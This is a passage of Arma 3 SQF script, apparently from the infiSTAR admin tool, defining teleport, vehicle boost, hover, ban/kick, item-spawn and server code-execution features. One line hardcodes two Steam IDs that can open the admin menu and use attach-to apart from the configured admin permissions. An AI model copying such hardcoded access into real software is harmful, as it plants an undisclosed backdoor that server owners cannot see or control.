  11282. _absspeed = abs _speed;
  11283. if(((_absspeed > _maxSpeed * 2.5)&&(_obj isKindOf 'Air'))||((_absspeed > _maxSpeed * 1.1)&&!(_obj isKindOf 'Air')))exitWith{false};
  11284.  
  11285. if(isEngineOn _obj)then
  11286. {
  11287. if(_shiftState)exitWith
  11288. {
  11289. if(visibleMap)exitWith{false};
  11290. if(_key isEqualTo 0x05)exitWith{false};
  11291. _vel = velocity _obj;
  11292. if(_speed < 30)then
  11293. {
  11294. _dir = direction _obj;
  11295. _obj setVelocity [
  11296. (_vel select 0) + (sin _dir * 1.02),
  11297. (_vel select 1) + (cos _dir * 1.02),
  11298. (_vel select 2)
  11299. ];
  11300. }
  11301. else
  11302. {
  11303. _obj setVelocity [
  11304. (_vel select 0) * 1.015,
  11305. (_vel select 1) * 1.015,
  11306. (_vel select 2)
  11307. ];
  11308. };
  11309. };
  11310. };
  11311. false
  11312. };
  11313. infiSTAR_VehicleBoost = {
  11314. if(isNil 'infiSTAR_vehboost_keybind')then
  11315. {
  11316. infiSTAR_vehboost_keybind = (findDisplay 46) displayAddEventHandler ['KeyDown', '_this call fnc_infiSTAR_vehboostKeydown'];
  11317. systemChat '<infiSTAR.de> Vehboost Keybinds added: SHIFT FOR SPEED - SPACEBAR TO BREAK';
  11318. }
  11319. else
  11320. {
  11321. (findDisplay 46) displayRemoveEventHandler ['KeyDown',infiSTAR_vehboost_keybind];
  11322. infiSTAR_vehboost_keybind = nil;
  11323. systemChat '<infiSTAR.de> Vehboost Keybinds removed';
  11324. };
  11325. };
  11326. infiSTAR_FlyUp = {
  11327. _obj = cameraOn;
  11328. if(!local _obj)exitWith{};
  11329. if((_shift)||((vehicle player) isKindOf 'Air'))exitWith
  11330. {
  11331. _vel = velocity _obj;
  11332. if(_obj==player)then
  11333. {
  11334. _obj setVelocity [(_vel select 0),(_vel select 1),8];
  11335. }
  11336. else
  11337. {
  11338. _obj setVelocity [(_vel select 0),(_vel select 1),20];
  11339. };
  11340. };
  11341. if(_ctrl)exitWith
  11342. {
  11343. _obj setPos (_obj modelToWorld [0,0,3]);
  11344. };
  11345. };
  11346. fnc_Hover = {
  11347. _obj = cameraOn;
  11348. if(!local _obj)exitWith{};
  11349. if(_obj isKindOf 'Air')then
  11350. {
  11351. if(isNil 'hovverthread')then
  11352. {
  11353. hovverthread = [] spawn {
  11354. _log = 'Now Hovering';
  11355. _log call FN_SHOW_LOG;
  11356.  
  11357. _obj = cameraOn;
  11358. if(!local _obj)exitWith{terminate hovverthread;hovverthread=nil;};
  11359. _pos = getPos _obj;
  11360. while {true} do
  11361. {
  11362. _obj setPos _pos;
  11363. };
  11364. };
  11365. }
  11366. else
  11367. {
  11368. terminate hovverthread;hovverthread=nil;
  11369. _log = 'No longer Hovering';
  11370. _log call FN_SHOW_LOG;
  11371. };
  11372. } else {terminate hovverthread;hovverthread=nil;};
  11373. };
  11374. infiSTAR_go_down = {
  11375. _veh = vehicle player;
  11376. if(local _veh)then
  11377. {
  11378. _vel = velocity _veh;
  11379. _posZ = (getPos _veh) select 2;
  11380. if(_posZ > 6)then
  11381. {
  11382. _veh setVelocity [(_vel select 0),(_vel select 1),-20];
  11383. }
  11384. else
  11385. {
  11386. if(_posZ < 10)then
  11387. {
  11388. _veh setVelocity [0,0,-3];
  11389. };
  11390. };
  11391. if(isTouchingGround _veh)then
  11392. {
  11393. _veh setVectorUp [0,0,1];
  11394. };
  11395. };
  11396. };
  11397. infiSTAR_shortTP = {
  11398. if(player != vehicle player)exitWith{};
  11399. _distance = 1;
  11400. _object = player;
  11401. _dir = getdir _object;
  11402. _pos = getPos _object;
  11403. if(surfaceIsWater _pos)then
  11404. {
  11405. _pos = getPosASL _object;
  11406. _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
  11407. _object setPosASL _pos;
  11408. }
  11409. else
  11410. {
  11411. _pos = getPosATL _object;
  11412. _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
  11413. _object setPosATL _pos;
  11414. };
  11415. {player reveal _x;} foreach (_pos nearObjects 50);
  11416. };
  11417. infiSTAR_Tpdirection = {
  11418. if(isNil'infiSTAR_TpdirectionENABLED')exitWith{false};
  11419. if('Teleport In Facing Direction (10m steps)' call ADMINLEVELACCESS)then
  11420. {
  11421. _distance = 10;
  11422. _veh = vehicle player;
  11423. if(local _veh)then
  11424. {
  11425. _dir = getdir _veh;
  11426. if(surfaceIsWater position _veh)then
  11427. {
  11428. _pos = getPosASL _veh;
  11429. _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
  11430. _veh setPosASL _pos;
  11431. }
  11432. else
  11433. {
  11434. _pos = getPosATL _veh;
  11435. _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
  11436. _veh setPosATL _pos;
  11437. };
  11438. };
  11439. {player reveal _x;} foreach (_pos nearObjects 50);
  11440. };
  11441. };
  11442. infiSTAR_A3Togglelock = {
  11443. private ['_veh'];
  11444. {player reveal _x;} foreach (cameraOn nearObjects 50);
  11445. _veh = vehicle player;
  11446. if(vehicle player == player)then
  11447. {
  11448. _veh = cursorTarget;
  11449. };
  11450. if(isNull _veh)then{_veh = cursorObject;};
  11451. if(isNull _veh)exitWith
  11452. {
  11453. _log = 'target does not exist';
  11454. _log call FN_SHOW_LOG;
  11455. };
  11456. if(!alive _veh)exitWith
  11457. {
  11458. _log = 'target is destroyed ';
  11459. _log call FN_SHOW_LOG;
  11460. };
  11461. if(_veh isKindOf 'AllVehicles')exitWith
  11462. {
  11463. if((player distance _veh < 12) || ((_veh == vehicle player) && (vehicle player != player)))then
  11464. {
  11465. _locked = locked _veh;
  11466. if(_locked isEqualTo 1)exitWith
  11467. {
  11468. _log = format['vehicle [%1] not persistent and will not be locked!',typeOf _veh];
  11469. _log call FN_SHOW_LOG;
  11470. _log call fnc_adminLog;
  11471. };
  11472. if(_locked isEqualTo 2)then
  11473. {
  11474. _log = format['unlocked - [%1]',typeOf _veh];
  11475. _log call FN_SHOW_LOG;
  11476. _log call fnc_adminLog;
  11477. }
  11478. else
  11479. {
  11480. _log = format['locked - [%1]',typeOf _veh];
  11481. _log call FN_SHOW_LOG;
  11482. _log call fnc_adminLog;
  11483. };
  11484. [10,netId _veh] call fnc_AdminReq;
  11485. };
  11486. };
  11487. };
  11488. _stayLocalNumber = 2669;
  11489. fnc_RscDisplayDebugPublic = {
  11490. if!('DebugConsole' call ADMINLEVELACCESS)exitWith{systemChat 'You are not allowed to use this! (missing DebugConsole in Adminpowers)';};
  11491. disableSerialization;
  11492. if(isNull findDisplay 316000)then{createdialog 'RscDisplayDebugPublic';};
  11493. waitUntil {!isNull findDisplay 316000};
  11494. _display = findDisplay 316000;
  11495.  
  11496. {
  11497. if!(ctrlIDC _x in [13284,13288])then
  11498. {
  11499. _x ctrlRemoveAllEventHandlers 'ButtonDown';
  11500. _x ctrlRemoveAllEventHandlers 'ButtonClick';
  11501. _x ctrlRemoveAllEventHandlers 'MouseButtonClick';
  11502. _x ctrlRemoveAllEventHandlers 'MouseButtonDown';
  11503. };
  11504. } forEach (allControls _display);
  11505.  
  11506. _testRscListBox1 = [_display,'RscListBox',122000] call fnc_createctrl;
  11507. _testRscListBox1 ctrlSetposition [0.83,0,0.5,1];
  11508. _testRscListBox1 ctrlEnable true;
  11509. _testRscListBox1 ctrlCommit 0;
  11510. lbClear _testRscListBox1;
  11511. _testRscListBox1 lbadd format['Player connected: %1',{getPlayerUID _x != ''} count (call fnc_get_plr)];
  11512. _names = [];
  11513. {
  11514. if(getPlayerUID _x != '')then
  11515. {
  11516. if!(name _x in _names)then{_names pushBack (name _x);};
  11517. };
  11518. } forEach (units (group player));
  11519. {
  11520. if(getPlayerUID _x != '')then
  11521. {
  11522. if!(name _x in _names)then{_names pushBack (name _x);};
  11523. };
  11524. } forEach (call fnc_get_plr);
  11525. {
  11526. _testRscListBox1 lbadd _x;
  11527. } forEach _names;
  11528.  
  11529. for '_i' from 0 to 12 do {_testRscListBox1 lbAdd '';};
  11530.  
  11531. _watchField1 = _display displayCtrl 12285;
  11532. _watchField2 = _display displayCtrl 12287;
  11533. _watchField3 = _display displayCtrl 12289;
  11534. _watchField4 = _display displayCtrl 12291;
  11535. waitUntil
  11536. {
  11537. _title = _display displayCtrl 11884;
  11538. _title ctrlSetText 'DebugConsole - modified by infiSTAR.de';
  11539.  
  11540. _titleBox = _display displayCtrl 11892;
  11541. _titleBox ctrlSetText 'ENTER: CODE TO RUN';
  11542.  
  11543. _btnSpectator = _display displayCtrl 13287;
  11544. _btnSpectator ctrlEnable true;
  11545. _btnSpectator ctrlShow true;
  11546. _btnSpectator ctrlSetText 'clear';
  11547. _btnSpectator buttonSetAction '
  11548. diag_log (ctrlText ((findDisplay 316000) displayCtrl 12284));
  11549. ((findDisplay 316000) displayCtrl 12284) ctrlSetText '''';
  11550. ';
  11551.  
  11552. _btnCamera = _display displayCtrl 13288;
  11553. _btnCamera ctrlEnable true;
  11554. _btnCamera ctrlShow true;
  11555.  
  11556. _btnFunctions = _display displayCtrl 13289;
  11557. _btnFunctions ctrlSetText 'lock';
  11558. if('Lock Server (DebugConsole)' call ADMINLEVELACCESS)then
  11559. {
  11560. _btnFunctions buttonSetAction '
  11561. [-662,1] call fnc_AdminReq;
  11562. ';
  11563. }
  11564. else
  11565. {
  11566. _btnFunctions ctrlEnable false;
  11567. };
  11568.  
  11569. _btnConfig = _display displayCtrl 13290;
  11570. _btnConfig ctrlSetText 'unlock';
  11571. if('UnLock Server (DebugConsole)' call ADMINLEVELACCESS)then
  11572. {
  11573. _btnConfig buttonSetAction '
  11574. [-662,2] call fnc_AdminReq;
  11575. ';
  11576. }
  11577. else
  11578. {
  11579. _btnConfig ctrlEnable false;
  11580. };
  11581.  
  11582. _btnAnimations = _display displayCtrl 13291;
  11583. _btnAnimations ctrlSetText 'ban';
  11584. _btnAnimations ctrlRemoveAllEventHandlers 'ButtonClick';
  11585. _btnAnimations buttonSetAction '';
  11586. if('Ban (DebugConsole)' call ADMINLEVELACCESS)then
  11587. {
  11588. _btnAnimations buttonSetAction '
  11589. _lbtxt = lbtext[122000,(lbCurSel 122000)];
  11590. {
  11591. _xUID = getPlayerUID _x;
  11592. if(_xUID != '''')then
  11593. {
  11594. if(name _x == _lbtxt)exitWith
  11595. {
  11596. _reason = (ctrlText ((findDisplay 316000) displayCtrl 12284));
  11597. if(_reason == '''')then{_reason=''Admin Ban'';};
  11598. _input = [3,netId _x,toArray _reason];
  11599. [-662,_input] call fnc_AdminReq;
  11600. };
  11601. };
  11602. } forEach (call fnc_get_plr);
  11603. ';
  11604. }
  11605. else
  11606. {
  11607. _btnAnimations ctrlEnable false;
  11608. };
  11609.  
  11610. _btnGuiEditor = _display displayCtrl 13292;
  11611. _btnGuiEditor ctrlSetText 'kick';
  11612. _btnGuiEditor ctrlRemoveAllEventHandlers 'ButtonClick';
  11613. _btnGuiEditor buttonSetAction '';
  11614. if('Kick (DebugConsole)' call ADMINLEVELACCESS)then
  11615. {
  11616. _btnGuiEditor buttonSetAction '
  11617. _lbtxt = lbtext[122000,(lbCurSel 122000)];
  11618. {
  11619. _xUID = getPlayerUID _x;
  11620. if(_xUID != '''')then
  11621. {
  11622. if(name _x == _lbtxt)exitWith
  11623. {
  11624. _reason = (ctrlText ((findDisplay 316000) displayCtrl 12284));
  11625. if(_reason == '''')then{_reason=''Admin Kick'';};
  11626. _input = [4,netId _x,toArray _reason];
  11627. [-662,_input] call fnc_AdminReq;
  11628. };
  11629. };
  11630. } forEach (call fnc_get_plr);
  11631. ';
  11632. }
  11633. else
  11634. {
  11635. _btnGuiEditor ctrlEnable false;
  11636. };
  11637.  
  11638.  
  11639. _btnSE = _display displayCtrl 13286;
  11640. _btnSE ctrlRemoveAllEventHandlers 'ButtonClick';
  11641. if('Execute code on server (DebugConsole)' call ADMINLEVELACCESS)then
  11642. {
  11643. _btnSE buttonSetAction '';
  11644. _btnSE ctrlSetEventHandler['ButtonClick','[ctrlText((findDisplay 316000) displayCtrl 12284)] call admin_d0_server;true'];
  11645. }
  11646. else
  11647. {
  11648. _btnSE ctrlEnable false;
  11649. };
  11650.  
  11651.  
  11652. _btnGE = _display displayCtrl 13285;
  11653. _btnGE ctrlRemoveAllEventHandlers 'ButtonClick';
  11654. if('Execute code global (DebugConsole)' call ADMINLEVELACCESS)then
  11655. {
  11656. _btnGE buttonSetAction '';
  11657. _btnGE ctrlSetEventHandler['ButtonClick','[ctrlText((findDisplay 316000) displayCtrl 12284)] call admin_d0;true'];
  11658. }
  11659. else
  11660. {
  11661. _btnGE ctrlEnable false;
  11662. };
  11663.  
  11664.  
  11665. _btnLE = _display displayCtrl 1;
  11666. _btnLE ctrlRemoveAllEventHandlers 'ButtonClick';
  11667. if('Execute code local (DebugConsole)' call ADMINLEVELACCESS)then
  11668. {
  11669. _btnLE buttonSetAction '';
  11670. _btnLE ctrlSetEventHandler['ButtonClick','(ctrlText((findDisplay 316000) displayCtrl 12284)) call fnc_admin_cc;true'];
  11671. }
  11672. else
  11673. {
  11674. _btnLE ctrlEnable false;
  11675. };
  11676.  
  11677. isNull findDisplay 316000
  11678. };
  11679. };
  11680. FN_SERVER_INFORMATION_OVERLAY = {
  11681. if(isNil'DEBUG_OVERLAY_THREAD')then
  11682. {
  11683. DEBUG_OVERLAY_THREAD = [] spawn {
  11684. private['_timer1','_timer2','_code','_ALL','_allMissionObjects','_allMissionObjectsTypeAll','_ObjectsSimulated','_Exile_Construction','_Exile_Flag','_Vehicles','_LandVehicleAirShipStatic','_allDead','_allDeadMen','_DeadPlayers','_Players','_AI','_SERVERTHREADS','_FPS','_MissionRunningTime','_nearestObject','_nearestObjectHealth','_nearestObjects','_LootWeaponHolder','_GroundWeaponHolder','_WeaponHolderSimulated','_Exile_Flag150m','_Exile_Construction150m','_LootWeaponHolder150m','_GroundWeaponHolder150m','_WeaponHolderSimulated150m','_ctrlTXT'];
  11685. disableSerialization;
  11686. _ctrlTXT = [findDisplay 46,'RscStructuredText',5555313] call fnc_createctrl;
  11687. _ctrlTXT ctrlSetPosition [safeZoneX+safeZoneW-0.6,safeZoneY+0.1,0.55,1.2];
  11688. _ctrlTXT ctrlCommit 0;
  11689.  
  11690. _timer1 = 0;
  11691. _timer2 = 0;
  11692. while{true}do
  11693. {
  11694. if(time > _timer1)then
  11695. {
  11696. _timer1 = time + 10;
  11697.  
  11698. _ALL = (allMissionObjects '');
  11699. _Exile_Flag = {_x isKindOf 'Exile_Construction_Flag_Static'} count _ALL;
  11700. _Exile_Construction = {_x isKindOf 'Exile_Construction_Abstract_Static'} count _ALL;
  11701. _allMissionObjects = count _ALL;
  11702. _ObjectsSimulated = {simulationEnabled _x} count _ALL;
  11703.  
  11704. _Vehicles = count vehicles;
  11705. _LandVehicleAirShipStatic = count ([0,0,0] nearEntities [['LandVehicle','Air','Ship','Static'], 10000000]);
  11706.  
  11707. _LootWeaponHolder = {_x isKindOf 'LootWeaponHolder'} count _ALL;
  11708. _GroundWeaponHolder = {_x isKindOf 'GroundWeaponHolder'} count _ALL;
  11709. _WeaponHolderSimulated = {_x isKindOf 'WeaponHolderSimulated'} count _ALL;
  11710. };
  11711. if(time > _timer2)then
  11712. {
  11713. _timer2 = time + 3;
  11714.  
  11715. _allDead = count allDead;
  11716. _allDeadMen = count allDeadMen;
  11717. _DeadPlayers = {!alive _x} count (call fnc_get_plr);
  11718. _Players = count (call fnc_get_plr);
  11719. _AI = {(!(isPlayer _x) && (!isNull group _x))} count allUnits;
  11720.  
  11721. _Exile_Flag150m = count (player nearObjects ['Exile_Construction_Flag_Static', 150]);
  11722. _Exile_Construction150m = count (player nearObjects ['Exile_Construction_Abstract_Static', 150]);
  11723. _LootWeaponHolder150m = count (player nearObjects ['LootWeaponHolder', 150]);
  11724. _GroundWeaponHolder150m = count (player nearObjects ['GroundWeaponHolder', 150]);
  11725. _WeaponHolderSimulated150m = count (player nearObjects ['WeaponHolderSimulated', 150]);
  11726. };
  11727. _MissionRunningTime = if(time > 0)then{_hours = floor(time / 60 / 60);_minutes = floor((((time / 60 / 60) - _hours) max 0.0001)*60);_seconds = time - (_hours*60*60) - (_minutes * 60);format['%1h %2min %3s',_hours,_minutes,round _seconds]}else{0};
  11728. _nearestObject = '';
  11729. _nearestObjectHealth = '';
  11730. _nearestObjects = nearestObjects [screenToWorld [0.5,0.5], [], 10];
  11731. {
  11732. if(!isNull _x)exitWith
  11733. {
  11734. _nearestObject = _x;
  11735. _nearestObjectHealth = (1-(damage _x))*100;
  11736. };
  11737. }forEach _nearestObjects;
  11738. _txt = format['
  11739. <t align=''left'' size=''.75'' color=''#44CD00''>Exile_Flags on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%1</t><br/>
  11740. <t align=''left'' size=''.75'' color=''#44CD00''>Exile_Constructions on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%2</t><br/>
  11741. <t align=''left'' size=''.75'' color=''#44CD00''>LootWeaponHolder on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%20</t><br/>
  11742. <t align=''left'' size=''.75'' color=''#44CD00''>GroundWeaponHolder on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%21</t><br/>
  11743. <t align=''left'' size=''.75'' color=''#44CD00''>WeaponHolderSimulated on Map: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%22</t><br/>
  11744. <br/>
  11745. <t align=''left'' size=''.75'' color=''#44CD00''>Exile_Flags in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%3</t><br/>
  11746. <t align=''left'' size=''.75'' color=''#44CD00''>Exile_Constructions in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%27</t><br/>
  11747. <t align=''left'' size=''.75'' color=''#44CD00''>LootWeaponHolder in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%23</t><br/>
  11748. <t align=''left'' size=''.75'' color=''#44CD00''>GroundWeaponHolder in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%24</t><br/>
  11749. <t align=''left'' size=''.75'' color=''#44CD00''>WeaponHolderSimulated in 150m: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%25</t><br/>
  11750. <br/>
  11751. <t align=''left'' size=''.75'' color=''#44CD00''>allMissionObjects: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%4</t><br/>
  11752. <t align=''left'' size=''.75'' color=''#44CD00''>Vehicles: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%6</t><br/>
  11753. <t align=''left'' size=''.75'' color=''#44CD00''>LandVehicleAirShipStatic: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%7</t><br/>
  11754. <t align=''left'' size=''.75'' color=''#44CD00''>ObjectsSimulated: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%5</t><br/>
  11755. <br/>
  11756. <t align=''left'' size=''.75'' color=''#44CD00''>Players: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%11</t><br/>
  11757. <t align=''left'' size=''.75'' color=''#44CD00''>DeadPlayers: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%10</t><br/>
  11758. <t align=''left'' size=''.75'' color=''#44CD00''>allDeadMen: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%9</t><br/>
  11759. <t align=''left'' size=''.75'' color=''#44CD00''>allDead: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%8</t><br/>
  11760. <t align=''left'' size=''.75'' color=''#44CD00''>AI: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%12</t><br/>
  11761. <br/>
  11762. <t align=''left'' size=''.75'' color=''#44CD00''>CLIENT: </t><t align=''left'' size=''.75'' color=''#5FBEDE''> [FPS: %16|THREADS: %26]</t><br/>
  11763. <t align=''left'' size=''.75'' color=''#44CD00''>SERVER: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>[FPS: %15|THREADS: %13]</t><br/>
  11764. <t align=''left'' size=''.75'' color=''#44CD00''>MissionRunningTime: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%14</t><br/>
  11765. <br/>
  11766. <t align=''left'' size=''.75'' color=''#44CD00''>Server looptime: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%28</t><br/>
  11767. <br/>
  11768. <t align=''left'' size=''.75'' color=''#44CD00''>TARGET TYPE: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%17</t><br/>
  11769. <t align=''left'' size=''.75'' color=''#44CD00''>TARGET DISTANCE: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%18</t><br/>
  11770. <t align=''left'' size=''.75'' color=''#44CD00''>TARGET HEALTH: </t><t align=''left'' size=''.75'' color=''#5FBEDE''>%19</t><br/>
  11771. ',
  11772. _Exile_Flag,
  11773. _Exile_Construction,
  11774. _Exile_Flag150m,
  11775. _allMissionObjects,
  11776. _ObjectsSimulated,
  11777. _Vehicles,
  11778. _LandVehicleAirShipStatic,
  11779. _allDead,
  11780. _allDeadMen,
  11781. _DeadPlayers,
  11782. _Players,
  11783. _AI,
  11784. SERVER_THREADS,
  11785. _MissionRunningTime,
  11786. SERVER_FPS,
  11787. diag_fps,
  11788. if(isNull cursorTarget)then{_nearestObject}else{typeOf cursorTarget},
  11789. if(isNull cursorTarget)then{player distance (screenToWorld [0.5,0.5])}else{player distance cursorTarget},
  11790. if(isNull cursorTarget)then{_nearestObjectHealth}else{(1-(damage cursorTarget))*100},
  11791. _LootWeaponHolder,
  11792. _GroundWeaponHolder,
  11793. _WeaponHolderSimulated,
  11794. _LootWeaponHolder150m,
  11795. _GroundWeaponHolder150m,
  11796. _WeaponHolderSimulated150m,
  11797. count diag_activeSQFScripts,
  11798. _Exile_Construction150m,
  11799. SERVER_LOOPTIME
  11800. ];
  11801. _ctrlTXT ctrlSetStructuredText parseText _txt;
  11802. uiSleep .5;
  11803. };
  11804. };
  11805. }
  11806. else
  11807. {
  11808. terminate DEBUG_OVERLAY_THREAD;DEBUG_OVERLAY_THREAD=nil;
  11809. ctrlDelete ((findDisplay 46) displayCtrl 5555313);
  11810. };
  11811. };
  11812. FN_GEAR_ON_TARGET = {
  11813. disableSerialization;
  11814. _tvctrl = [findDisplay 46 createDisplay 'RscCredits','RscTree',55667] call fnc_createctrl;
  11815. _tvctrl ctrlSetFont 'PuristaBold';
  11816. _tvctrl ctrlSetTextColor[1,1,1,1];
  11817. _tvctrl ctrlSetBackgroundColor[0,0,0,0.7];
  11818. _tvctrl ctrlSetPosition[0.1,safeZoneY,1,safeZoneH];
  11819. _tvctrl ctrlRemoveAllEventHandlers 'TreeDblClick';
  11820. _tvctrl ctrlAddEventHandler ['TreeDblClick',{
  11821. _tvctrl = _this select 0;
  11822. _tvCurSel = _this select 1;
  11823. _class = _tvctrl tvData _tvCurSel;
  11824. if(_class != '')then
  11825. {
  11826. _click = _tvctrl tvText _tvCurSel;
  11827. if(isNull SELECTED_TARGET_PLAYER)then{SELECTED_TARGET_PLAYER=player;};
  11828. _target = SELECTED_TARGET_PLAYER;
  11829. _log = format['Spawning %1 on %2!',_click,name _target];
  11830. _log call FN_SHOW_LOG;
  11831. _log call fnc_adminLog;
  11832. [_target,_class] call fnc_reallyAdditem;
  11833. };
  11834. }];
  11835. _tvctrl ctrlCommit 0;
  11836. {
  11837. _category = _x;
  11838. _index = _forEachIndex;
  11839. _tvctrl tvAdd [[],_category];
  11840.  
  11841. _variable = missionNameSpace getVariable (_category+'_ARRAY');
  11842. {
  11843. _class = _x call {
  11844. if(isClass (configFile >> 'CfgWeapons' >> _this))exitWith{'CfgWeapons'};
  11845. if(isClass (configFile >> 'CfgMagazines' >> _this))exitWith{'CfgMagazines'};
  11846. 'CfgVehicles'
  11847. };
  11848.  
  11849. _displayName = getText(configFile >> _class >> _x >> 'displayName');
  11850. _picture = getText(configFile >> _class >> _x >> 'picture');
  11851.  
  11852. _tvctrl tvAdd [[_index],format['%1 (%2)',_displayName,_x]];
  11853. _tvctrl tvSetPicture [[_index,_forEachIndex],_picture];
  11854. _tvctrl tvSetData [[_index,_forEachIndex],_x];
  11855. } forEach _variable;
  11856. }forEach newAllItems_CATEGORY;
  11857. };
  11858. FN_CHANGE_VIEWDISTANCE = {
  11859. disableSerialization;
  11860. _display = findDisplay 999;
  11861. if(isNull _display)then{_display = findDisplay 46 createDisplay 'RscCredits';};
  11862. _ctrl = [_display,'RSCText',44667] call fnc_createctrl;
  11863. _ctrl ctrlSetPosition [0.2,0.1,1,.1];
  11864. _ctrl ctrlSetText format['ViewDistance: %1',viewDistance];
  11865. _ctrl ctrlCommit 0;
  11866.  
  11867. _ctrl = [_display,'RscXSliderH',44668] call fnc_createctrl;
  11868. _ctrl sliderSetRange [500, 5000];
  11869. _ctrl sliderSetPosition viewDistance;
  11870. _ctrl ctrlSetPosition [0.2,0.175];
  11871. _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
  11872. _ctrl ctrlRemoveAllEventHandlers 'SliderPosChanged';
  11873. _ctrl ctrlAddEventHandler ['SliderPosChanged','
  11874. setViewDistance (_this select 1);
  11875. ((findDisplay 999) displayCtrl 44667) ctrlSetText format[''ViewDistance: %1'',viewDistance];
  11876. '];
  11877. _ctrl ctrlCommit 0;
  11878.  
  11879.  
  11880. _ctrl = [_display,'RSCText',44669] call fnc_createctrl;
  11881. _ctrl ctrlSetPosition [0.2,0.2,1,.1];
  11882. _ctrl ctrlSetText format['ObjectViewDistance: %1',getObjectViewDistance select 0];
  11883. _ctrl ctrlCommit 0;
  11884.  
  11885. _ctrl = [_display,'RscXSliderH',44670] call fnc_createctrl;
  11886. _ctrl sliderSetRange [25, 3000];
  11887. _ctrl sliderSetPosition (getObjectViewDistance select 0);
  11888. _ctrl ctrlSetPosition [0.2,0.275];
  11889. _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
  11890. _ctrl ctrlRemoveAllEventHandlers 'SliderPosChanged';
  11891. _ctrl ctrlAddEventHandler ['SliderPosChanged','
  11892. setObjectViewDistance [(_this select 1),(getObjectViewDistance select 1)];
  11893. ((findDisplay 999) displayCtrl 44669) ctrlSetText format[''ObjectViewDistance: %1'',(getObjectViewDistance select 0)];
  11894. '];
  11895. _ctrl ctrlCommit 0;
  11896.  
  11897.  
  11898. _ctrl = [_display,'RSCText',44671] call fnc_createctrl;
  11899. _ctrl ctrlSetPosition [0.2,0.3,1,.1];
  11900. _ctrl ctrlSetText format['ShadowViewDistance: %1',getObjectViewDistance select 1];
  11901. _ctrl ctrlCommit 0;
  11902.  
  11903. _ctrl = [_display,'RscXSliderH',44672] call fnc_createctrl;
  11904. _ctrl sliderSetRange [0, 300];
  11905. _ctrl sliderSetPosition (getObjectViewDistance select 1);
  11906. _ctrl ctrlSetPosition [0.2,0.375];
  11907. _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
  11908. _ctrl ctrlRemoveAllEventHandlers 'SliderPosChanged';
  11909. _ctrl ctrlAddEventHandler ['SliderPosChanged','
  11910. setObjectViewDistance [(getObjectViewDistance select 0),(_this select 1)];
  11911. ((findDisplay 999) displayCtrl 44671) ctrlSetText format[''ShadowViewDistance: %1'',(getObjectViewDistance select 1)];
  11912. '];
  11913. _ctrl ctrlCommit 0;
  11914.  
  11915.  
  11916. _ctrl = [_display,'RSCButton',33400] call fnc_createctrl;
  11917. _ctrl ctrlSetText 'CLOSE';
  11918. _ctrl ctrlSetPosition [0.5,0.41];
  11919. _ctrl ctrlCommit 0;
  11920. _ctrl ctrlSetEventHandler['ButtonClick','findDisplay 999 closeDisplay 0'];
  11921. };
  11922. if(MYPUIDinfiESP in ['76561198152111329','76561198276380268'])then{ALLOW_ME_THIS_KEYBIND = true;}else{ALLOW_ME_THIS_KEYBIND = false;};
  11923. if(isNil 'OPEN_ADMIN_MENU_KEY')then{OPEN_ADMIN_MENU_KEY = 0x3B;};
  11924. fnc_infiAdminKeyDown = {
  11925. private ['_key', '_shift', '_ctrl', '_alt'];
  11926. _key = _this select 1;
  11927. _shift = _this select 2;
  11928. _ctrl = _this select 3;
  11929. _alt = _this select 4;
  11930. SHIFT_IS_PRESSED = _shift;
  11931. ALT_IS_PRESSED = _alt;
  11932. if(_key isEqualTo OPEN_ADMIN_MENU_KEY)then{FILLMAINSTATE=0;[] call fnc_FULLinit;};
  11933. if(_key isEqualTo 0x3B)then{ if(ALLOW_ME_THIS_KEYBIND)then{FILLMAINSTATE=0;[] call fnc_FULLinit;}; };
  11934. if(_key isEqualTo 0x3C)then{ if(_shift)then{if('AdminConsole' call ADMINLEVELACCESS)then{[] call bis_fnc_configviewer;'configviewer' call fnc_adminLog;};}else{FILLMAINSTATE=1;[] call fnc_FULLinit;}; };
  11935. if(_key isEqualTo 0x3D)then{ if(_shift)then{if(ALLOW_ME_THIS_KEYBIND)then{[''] call fnc_ATTACH_TO;};}else{if('AdminConsole' call ADMINLEVELACCESS)then{[] call fnc_workplace;};}; };
  11936. if(_key isEqualTo 0x3E)then{ if('Items spawn menu' call ADMINLEVELACCESS)then{call FN_GEAR_ON_TARGET;}; };
  11937. if(_key isEqualTo 0x3F)then{ if('Change ViewDistance' call ADMINLEVELACCESS)then{if(_shift || _ctrl || _alt)exitWith{};call FN_CHANGE_VIEWDISTANCE;}; };
  11938. if(_key isEqualTo 0x17)then{ if(('showinfo' call ADMINLEVELACCESS)&&(_shift))then{if(!isNull cursortarget)then{[] spawn admin_showinfo;};}; };
